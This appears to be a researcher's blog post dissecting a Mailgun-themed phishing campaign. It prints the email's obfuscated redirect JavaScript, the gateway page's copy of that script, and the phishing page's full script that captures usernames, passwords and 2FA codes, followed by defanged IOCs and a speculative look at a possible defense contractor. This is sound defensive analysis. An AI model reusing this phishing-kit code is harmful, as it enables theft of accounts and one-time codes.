Confusing Methods, Mailgun Phishing, and More?

Good morning, everyone! As always, it's been a while since my last post. I have been receiving a persistent phishing email that appears to be from Mailgun. While I initially didn't pay much attention to it, the frequency of these emails made me take a closer look. After reviewing them, I can honestly say that I left feeling more confused than ever. Grab a coffee, this is going to be a long post.

Email Pretext

The phishing email itself is well constructed. The call to action is that you have an unpaid bill and the credit card on file is no longer valid. This method is quite effective if you are a Mailgun admin. In addition to a decent pretext, the email is also drafted in mostly HTML and only tries to load a handful of remote sources.

qVuDD.jpg
Mailgun phishing email body with call to action and clickable link to the phishing landing page

Email Analysis

This is where things start to get strange—yes, right from the beginning. When examining the HTML content of the email, we can see the usual phishing characteristics: links that are clearly not affiliated with Mailgun.

qVBMo.jpg
HTML code for the "View Billing" button

Rather than just a link, we see URL-encoded content with a link to a Youtube URL within a window.location.href appended to the end of support-sinch[.]sidra[.]space. When decoding the URL-encoded data, we get the following:

<script>
        // Base64 decoding function
        b = atob;
meth = "re" + "pla" + "ce";
sodani = (el) => el[meth]( /#/gi, '' )[meth](/\!/gi, '' );
jkk = b("ZG9jdW1lbnQ");
jkk = this[jkk];
jkk[sodani('ti#'+'t!l##e')] = '._.';
jkk[sodani('b!#od'+'!y#')].style[sodani('op#a!'+'c!it'+'#y#')] = 0x0;

// Redirect to Google
window.location.href = 'https://youtu.be/JZnnp7uHXLg?t=71';

    </script>

The idea here is that when a user clicks the link, the injected script changes the title to ._. and makes the body invisible, followed by a redirect to the intended page, which in this case is a YouTube URL. It performs character substitution and base64 decoding to obfuscate its purpose. I've reconstructed this code into something more readable:

<script>
    // Replace function for removing specific characters
    const removeCharacters = (input) => {
        return input.replace(/#/g, '').replace(/!/g, '');
    };

    // Access the document object directly
    const documentObject = document;

    // Set the document title
    documentObject[removeCharacters('title')] = '._.';

    // Set the body opacity to 0 (make it invisible)
    const bodyElement = documentObject[removeCharacters('body')];
    bodyElement.style[removeCharacters('opacity')] = 0;

    // Redirect to a specific YouTube link
    window.location.href = 'https://youtu.be/JZnnp7uHXLg?t=71';
</script>

The Youtube link takes you to this banger:

qfDZM.jpg
Youss45 X l'Morphine - Magneto & the flach

Things continued to get strange. When we actually clicked the fake billing button, our request was blocked. This is because support-sinch[.]sidra[.]space is behind—you guessed it—Cloudflare. The payload is an XSS payload, which is prevented by the Cloudflare service, effectively rendering this phishing email nonfunctional--lol.

qfYEd.jpg
Cloudflare blocking our request as it has an XSS payload in it

The irony of attackers using Cloudflare to obfuscate their location and services, only to have their campaigns fail because Cloudflare also serves as a web application firewall, is not lost on me. I assume there are some instances that this would work. 🤷‍♂️

Inspecting the Phish Gateway

We have determined that the phishing URL in our email does not work. But what about the actual host it is intended to leverage? When we navigate directly to support-sinch[.]sidra[.]space, we find that the attackers have left directory indexing enabled. Setting up web servers is indeed challenging.

qfuao.jpg
Directory indexing enabled on support-sinch[.]sidra[.]space

We were not able to see contents of ICS, however, the index page shows us something interesting

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ICS Tool</title>
</head>
<body>
    <h1>Welcome to the ICS Tool Page</h1>

    <script>
        // Base64 decoding function
        b = atob;
meth = "re" + "pla" + "ce";
sodani = (el) => el[meth]( /#/gi, '' )[meth](/\!/gi, '' );
jkk = b("ZG9jdW1lbnQ");
jkk = this[jkk];
jkk[sodani('ti#'+'t!l##e')] = '._.';
jkk[sodani('b!#od'+'!y#')].style[sodani('op#a!'+'c!it'+'#y#')] = 0x0;

// Redirect to Google
window.location.href = 'hxxps://login[.]support-mailgun[.]info/dVlybPTb';

    </script>
</body>
</html>

Look at that! It’s a payload strikingly similar to the one originally included in our email. This time, however, it contains an actual link that resembles a Mailgun URL. I did some searching around and only found a scan on Hybrid Analysis:

We also found two hosts on urlscan that had a similar URL structure:

  1. https://urlscan.io/result/1f37042d-30ac-4a5d-97b5-aebd7048e7d0/
  2. https://urlscan.io/result/c9f9ae08-498a-409d-ab21-5ca7680ec2d9/

While these URLs patterns are similar, it's worth noting that they are only similar based on URL, not functionality.

Phish Page

After following the redirect to login[.]support-mailgun[.]info, we were forced to complete a human verification step via Cloudflare captcha. After passing captcha validation we are presented with the phish.

qfi8N.jpg
Mailgun phishing page

When viewing loaded JavaScript, we can get an idea of how this Phish is functioning. Before diving into the weeds, it's worth noting that we will not be able to see all of the servier-side functionality.

The Phish page loads the following JavaScript:

const emailFromSignupCookie = ""
if (emailFromSignupCookie !== "") {
    u('#username').first().value = emailFromSignupCookie
}
var currentStepSelector = '#usernameForm';
var qriousOpts = function(dataValue) {
    return {
        'size': 128,
        'value': dataValue
    };
};

function errorMessage(error) {
    switch (true) {
        case error.status === 403 || error.status === 400:
            return error.message || 'Bad username or password';
        case error.status === 503:
            return 'Login temporarily disabled';
        default:
            return 'Login service is down';
    }
}

function twoFactorError(statusCode) {
    return statusCode === 400 ? 'Invalid token.' : '2FA service is down.';
}

function previousStep(event) {
    event.preventDefault();
    next('#usernameForm');
}

function showSinchModal(redirect) {
    const template = document.querySelector("#sinchModalTemplate")
    const clone = template.content.cloneNode(true);
    const modal = document.querySelector("#sinchModal")

    // Attach template clone to modal slot
    modal.appendChild(clone)

    // Attach modal accordion listener; Accordion expands when clicked
    modal.querySelector("sinch-accordion")
        .addEventListener("-change", (e) => e.currentTarget.value = e.detail)

    // Attach modal `Continue` button listener; User is redirected when button clicked
    modal.querySelector("sinch-button")
        .addEventListener("-click", () => window.location = redirect)
}

u('#previous').on('click', previousStep);

function nextStep(e) {
    e.preventDefault();

    const buttonText = u('#next').text();

    if (buttonText !== "Next" && buttonText !== 'Log in') {
        return false;
    }
    u('#next').text('')
    u('#next').html(`<div class='loader'></div>`)

    u('body').removeClass('error');
    window[selectStep(currentStepSelector).data('next')]();
}

function showError(error, type = 'error', location = 'bottom') {
    u('body').addClass(type);
    u('#loginError' + location).removeClass('hidden');
    u('#message' + location).html("<img src='/login/static/" + type + ".svg' />" + "<span class='loginForm__statusText'>" + error + "</span>");
}

function loginError(error) {
    showError(error, 'error');
}

function setStepLink(stepSelector) {
    const stepLinks = {
        "#usernameForm": `Dont have an account yet? <a href="https://signup.support-mailgun.info">Sign up now!</a>`,
        "#passwordForm": `<a class='labelGroup__resetLink' href='/recovery/new'>Forgot your password?</a>`,
        "#tfaForm": `<a class='labelGroup__link' href='/recovery/2fa'>Lost code generator?</a>`
    }

    u('.stepLink').html(stepLinks[stepSelector]);
}

function next(nextStepSelector) {
    let currentStep = selectStep(currentStepSelector);
    if (nextStepSelector === '#passwordForm') {
        u('#previous').removeClass('loginForm__buttonHidden');
    } else {
        u('#previous').addClass('loginForm__buttonHidden');
    }

    if (currentStepSelector === '#usernameForm') {
        currentStep.addClass('hidden');
        currentStepSelector = nextStepSelector;
        let nextStep = selectStep(nextStepSelector);
        const email = selectStep('#usernameForm', 'input').first().value.toLowerCase();
        selectStep(nextStepSelector, 'input').first().value = email;
        setStepLink(nextStepSelector);
        nextStep.removeClass('hidden');

        if (selectStep(currentStepSelector, 'input').first()) {
            selectStep(currentStepSelector, 'input').first().focus();
        }

        u('#next').text('Log in');
    } else {
        currentStep.addClass('hidden');

        currentStepSelector = nextStepSelector;
        let nextStep = selectStep(nextStepSelector);
        setStepLink(nextStepSelector);
        nextStep.removeClass('hidden');

        if (selectStep(currentStepSelector, 'input').first()) {
            selectStep(currentStepSelector, 'input').first().focus();
        }

        u('#next').text('Next');
    }
}

function selectStep(current, selector) {
    var step;
    selector = selector ? selector : '';
    step = selector ? current + ' ' + selector : current;
    return u(step);
}

function checkUsername() {
    const email = selectStep(currentStepSelector, 'input').first().value.toLowerCase();
    if (!email) {
        u('#next').html('');
        u('#next').text('Next');
        showError('Please enter a valid email', 'error');
    } else {
        const data = new FormData();
        data.append('username', email);
        post('/login/new', data)
            .then(function(response) {
                u('#email').text(response.email);
                next('#passwordForm');
            })
            .catch(function(err) {
                loginError(errorMessage(err));
                u('#next').html('');
                u('#next').text('Next');
            })
    }
}

function checkPassword() {
    const data = new FormData();
    data.append('password', selectStep(currentStepSelector, '#password').first().value);
    post('/login/password', data)
        .then(function(response) {
            if (response.step === 'challenge') {
                next('#challengeForm');
                showError(
                    "We’ve detected unusual login activity. For security reasons, we’ve sent you a code to your email to validate your account.",
                    'success'
                );
            } else if (response.otp) {
                const qr = new QRious(qriousOpts(response.otp))
                const qrURL = qr.toDataURL();
                const otpSecret = getSecretFromOTP(response.otp);
                const link = u('#whitebox').addClass('tfa');

                u('#otp').html('<img src="' + qrURL + '"/>');
                u('#secret').text(otpSecret);
                u('#recovery-code').text(response.secret);
                next('#setupForm');
            } else {
                u('.loginForm__label').text(selectStep(currentStepSelector, '#email').first().value);
                next('#tfaForm');
            }
        })
        .catch(function(err) {
            loginError(errorMessage(err));
            u('#next').html('');
            u('#next').text('Log in');
        });
}

function getSecretFromOTP(otp) {
    var secretStart = otp.indexOf('secret=');
    var secretEnd = otp.indexOf('&', secretStart);

    if (secretStart > -1 && secretEnd > -1) {
        return otp.substring(secretStart + 7, secretEnd);
    }
    return false;
}

function complete2fa() {
    var data = new FormData();
    var otpInput = selectStep(currentStepSelector, 'input').nodes;
    data.set('otp', otpInput[0].value);
    if (otpInput.length > 1 && otpInput[1].checked) {
        data.set(otpInput[1].name, otpInput[1].checked);
    }

    post('/login/finish2fa', data)
        .then(function(response) {
            console.log('successfully finished 2fa activation');
        })
        .catch(function(err) {
            showError(errorMessage(err), 'error');
            u('#next').html('');
            u('#next').text('Next');
        });
}

function check2fa() {
    var data = new FormData();
    var otpInput = selectStep(currentStepSelector, 'input').nodes;
    data.set('otp', otpInput[0].value);
    if (otpInput.length > 1 && otpInput[1].checked) {
        data.set(otpInput[1].name, otpInput[1].checked);
    }
    post('/login/2fa', data)
        .then(function(response) {
            showError("Great, we're logging you in.", 'success');
        })
        .catch(function(err) {
            showError(errorMessage(err), 'error');
            u('#next').html('');
            u('#next').text('Next');
        });
}

function confirm2fa() {
    // Instead of making a post call, we just give them the form to confirm
    var link = u('#whitebox').removeClass('tfa');

    next('#finish2faForm');
}

function post(url, data) {
    u('#next').text('');
    u('#next').html(`<div class='loader'></div>`);
    data.append('csrf_token', 'ImFjMjdjZTg0ZWMyYzg3MjMwYzBmZDliODRlMjg5YjdlNDM0MWFkNzMi.ZvdRVQ.Bfw5fDPF5Ok6YVWRTfzSTFs1QlU');

    return new Promise(function(resolve, reject) {
        fetch(url, {
            method: 'Post',
            body: data
        }).then(function(response) {
            response.json().then(function(jsonResponse) {
                if (response.ok) {
                    // Display the Sinch ID migration modal and redirect on `Continue` click
                    if (jsonResponse.isNewMigration) {
                        showSinchModal(jsonResponse.redirect)
                        return resolve(jsonResponse);
                    }
                    if (jsonResponse.redirect) {
                        return window.location = jsonResponse.redirect;
                    }
                    resolve(jsonResponse);
                } else {
                    reject({
                        message: jsonResponse.message,
                        status: response.status,
                        statusText: response.statusText
                    });
                }
            }).catch(function(err) {
                reject({
                    status: response.status,
                    statusText: response.statusText
                });
            })
        }).catch(function(err) {
            reject({
                status: 500,
                statusText: err.message,
            });
        });
    });
}

document.getElementById('submitForm').addEventListener('submit', nextStep);

window.onpopstate = function(event) {
    if (currentStepSelector !== '#usernameForm') {
        return location.reload();
    }
    history.back()
};

selectStep(currentStepSelector, 'input').first().focus();


history.pushState({}, '', '');

I know, it's a lot of stuff. Let's look at the logical flow of the JavaScript:

  1. Initialization:

    • The script initializes the variable emailFromSignupCookie as an empty string.
    • The current step selector is set to #usernameForm.
  2. Pre-population of Username Field:

    • If emailFromSignupCookie is not empty, the username field (#username) is populated with its value.
  3. User Interaction Begins:

    • The user interacts with the form, starting with the #usernameForm.
  4. Username Submission:

    • User enters their email/username and clicks the "Next" button.
    • The form submission triggers the nextStep(e) function:
      • Prevents the default form submission.
      • Checks if the button text is "Next" or "Log in".
      • Displays a loading spinner and removes any error class from the body.
      • Calls the checkUsername() function.
  5. Username Validation (checkUsername):

    • Retrieves the username entered by the user.
    • Validates the username (checks if it is not empty).
    • If valid, sends a POST request to /login/new with the username.
    • If successful, transitions to the #passwordForm using the next('#passwordForm') function.
    • If unsuccessful, displays an error message using loginError(errorMessage(err)).
  6. Password Submission:

    • User enters their password and clicks the "Next" button.
    • The form submission triggers the nextStep(e) function:
      • Similar to username submission, it prepares for the next step.
      • Calls the checkPassword() function.
  7. Password Validation (checkPassword):

    • Retrieves the password entered by the user.
    • Sends a POST request to /login/password with the password.
    • If the server responds with a step of 'challenge':
      • Calls next('#challengeForm') to show the challenge step.
      • Displays a success message indicating unusual activity.
    • If the server responds with an OTP:
      • Generates a QR code and displays it in the UI.
      • Calls next('#setupForm') to transition to the setup step for 2FA.
    • If the login is successful:
      • Calls next('#tfaForm') to transition to the 2FA step.
  8. 2FA Submission:

    • User enters the OTP and submits the form.
    • The form submission triggers the nextStep(e) function:
      • Calls check2fa() to validate the OTP.
  9. 2FA Validation (check2fa):

    • Sends a POST request to /login/2fa with the OTP.
    • If successful, displays a success message and logs the user in.
    • If unsuccessful, displays an error message using showError(errorMessage(err)).
  10. User Redirection and Modals:

    • If the user is new and a modal is required (after username submission):
      • Calls showSinchModal(jsonResponse.redirect) to display the modal and prepare for redirection.
  11. Error Handling:

    • Throughout the process, errors can occur:
      • Any error during username validation will call loginError(errorMessage(err)).
      • Any error during password or 2FA validation will call showError(errorMessage(err)).
  12. Navigational Events:

    • If the user clicks the "Previous" button:
      • The previousStep(event) function is triggered to go back to the previous step.
    • If the user navigates back in the browser:
      • The window.onpopstate event handler checks if the user is on the username form and reloads the page if not.
  13. Completion of Login Process:

    • If all steps are completed successfully (username, password, and 2FA):
      • The user is redirected to the specified URL or the main application page.

In short, the login process begins with the initialization of user input fields, specifically pre-populating the username field if an email is available. Users first enter their username, triggering a validation step that checks its existence on the server. Upon successful validation, they proceed to input their password, which is similarly validated. If the login requires two-factor authentication, users are prompted to enter an OTP, which is validated against the server. Throughout the process, appropriate error messages are displayed for any failed attempts, and the user interface dynamically updates to guide users through each step.

This is quite the Phish kit to just steal Mailgun credentials. Especially given that it can even steal two-factor authentication tokens.

After spending some time looking to see what else I could find, I noticed something strange in the original email.


This is a rabbit hole. I'm warning you. Perhaps even a red herring. Skip to the bottom if you just want the emails and whatnot for IoCs.

Defense Contractors?

Queue the rabbit hole. During my last look before making this post, I noticed that the attackers edited the billing support email contact. Specifically, the email was to be sent to appsupport@intersystems-rl[.]com. Odd, but what the heck is Intersystems Rl?

qfsrB.jpg
Homepage of Intersystems Inc

Interesting, Intersystems-rl is Intersystems Inc, a supposed defense contractor out of Jordan, Lebanon, and Italy. The links to their Facebook and X/Twitter go nowhere and they also do shooting sports. Not suspect at all. There's also very little out there to search. I went down this rabbit hole to see if any of this was real.

Oh, and they're using Yahoo for the MX as of Sep 28. Seems an odd choice for a defense contractor, but who knows. According to their site, they've been around for 50 years.

qfyqu.jpg
MX records using yahoo DNS

Their website is quite barren and has some weird references to legitimate defense products. For example, Vira drones, types of industrial machinery and guided missiles that they sell for "Growing with Your Defense and Security Needs".

Looking at the contact section, we see a CEO listed.

  • Sir Joe der Hovsepian (Military and security consultant / CEO)

First question. Who is Joe? Well, we found Joe on LinkedIn.

qfKuL.jpg
qflht.jpg

Joe has a handful of followers, making this seem not a suspect. Building on that, there's a Youtube account with the same profile picture:

qfP1a.jpg
Sir Joe der Hovespian Youtube

Naturally Joe doesn't post a whole lot. But, he does respond to posts (3 years ago) that would be relevant to legitimate Defense:

qfTdw.jpg
Joe der Hovsepian posting on Global SOF Foundation

Aside from a handful of comments and posts, Joe's social activity appears quite limited. Additionally, we see "Other Joe" on LinkedIn, whose location is actually set to Lebanon (Where Intersystems is HQ'd)--never mind you that the first Joe was in Italy.

qfzPT.jpg

According to the Intersystem's page:

INTERSYSTEMS INC. was founded in 1974 in Lebanon. by Sir . Joe der Hovsepian, a German citizen. It started its activities by providing general services, consultancy and supply of military equipment to the Lebanese Armed Forces.

Another Search for Joe led to The Security Implication of Microdisarmament at the US Defense Technical Information Center:

https://apps.dtic.mil/sti/tr/pdf/ADA474837.pdf'

This dude seems pretty legit and capable of running a defense contractor...Looking away from the defense contractor angle and who/what Joe is, my other question is: Why would a mailgun email be referencing a supposed defense contractor?

I can't make sense of this part. Perhaps it's an email compromise of the contractor? It would also be an odd coincidence that an arabic rap be associated with this. Also, why that youtube link? Why is the location on the Intersystems Google Maps: 31°58'29.8"N 35°51'54.1"E not have them listed at all? Why does Zoominfo say they are in Lebanon Indiana?! Lol :D

qf7ky.jpg

None of this makes sense. Since none of this makes sense, I assume that a defense contractor would not be potentially leveraging their reach and systems to perform Mailgun phishing. That would be a severely incorrect accusation and assumption with the extremely limited evidence. I started feeling like I was after Pepe Silvia.

Intersystems is hosted via a shared hosting provider/development shop, Sama Cyber/Sama IT Solutions. Combined with Yahoo MX records, I'm beginning to suspect that there was an email added to their tenant. Of which they may not even know. Who knows. I do code and security research for a living..not threat intelligence.

If there are any other researchers out there that may find this interesting, I'd be curious to see what you've found.


Closing

I realize that this post jumped from 0 to 1000 and then back to a shrug. It's interesting to observe how organized this mass campaign targeting Mailgun accounts appears. The phishing email that was sent was sent to an email once associated with Mailgun (ironically for security testing). An intriguing correlation is the Mailgun breach from 2018.:

But alas, correlation is not causation. I'm curious if anyone else has received such an organized Phish similar to this.

Keep asking questions, keep digging deeper.

-Synfinner


IOCs

IoC Type
postmaster@mail[.]beyondsportsnetwork[.]com email
support-sinch[.]sidra[.]space host
login[.]support-mailgun[.]info host
appsupport@intersystems-rl[.]com email